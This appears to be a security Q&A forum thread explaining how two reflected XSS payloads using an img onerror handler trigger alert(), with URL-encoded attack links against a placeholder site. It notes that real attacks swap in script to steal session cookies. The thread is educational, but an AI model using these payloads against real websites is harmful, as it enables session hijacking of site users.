2

I am trying to understand exactly how JavaScript XSS (cross-site scripting) payloads found across the internet work and I would like your help for the following:

<img src=`xx:xx`onerror=alert(1)>

"><img src="1" title="true" x:xx/onerror="alert('test xss')">

When are those two (individually) going to trigger the alert?

Improve this question

1 Answer 1

Reset to default
2

I'll try to explain this in terms of Reflected XSS

  • Attacker sends you a malicious link via email, doc, msg etc
  • You click on it (assume that in another tab you had already opened the same website and logged in, hence a session cookie is present)
  • The buggy website will reflect back the javascript payload in response that was embedded in the URL that was sent to you
  • Browser will execute the javascript, usually this javascript will be used to steal the session cookies.

Example for 1st payload:

Request(malicious link) : http://buggy.com?data=%3c%69%6d%67%20%73%72%63%3d%60%78%78%3a%78%78%60%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e

And server without doing any check on this input will reflect back the payload in response as:

<html>
<body>
<img src=`xx:xx`onerror=alert(1)>
</body>
</html>

This will make browser to create a pop up because xx:xx is an invalid source there by executing the script in onerror. In actual attack scenario you will have to replace alert(1) with the your javascript .

Example for 2nd payload:

Imagine the buggy website is fetching the value of lang parameter from the GET request and setting lang attribute of the html response without any checks.

Without payload:

Request: http://buggy.com?lang=en

Response:

<html lang="en">
<body>
lol
</body>
</html>

With the payload:

Request: http://buggy.com?lang=%22%3e%3c%69%6d%67%20%73%72%63%3d%22%31%22%20%74%69%74%6c%65%3d%22%74%72%75%65%22%20%78%3a%78%78%2f%6f%6e%65%72%72%6f%72%3d%22%61%6c%65%72%74%28%27%74%65%73%74%20%78%73%73%27%29%22%3e%20

Response:

<html lang=""><img src="1" title="true" x:xx/onerror="alert('test xss')"> >
<body>
lol
</body>
</html>

This will make browser to create a pop up because :

  • 1 is not a valid source again
  • forward slash in x:x/ is simply ignored or replaced with a space by the parser because img tag is a self closing tag
  • Inside a tag you can have a random string like x:x which will not have any effect on the browser nor it is against the syntax(i did not see any error being thrown in the browser console, someone can correct me i'm wrong) In actual attack scenario you will have to replace alert('test xss') with the your javascript.
Improve this answer
0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .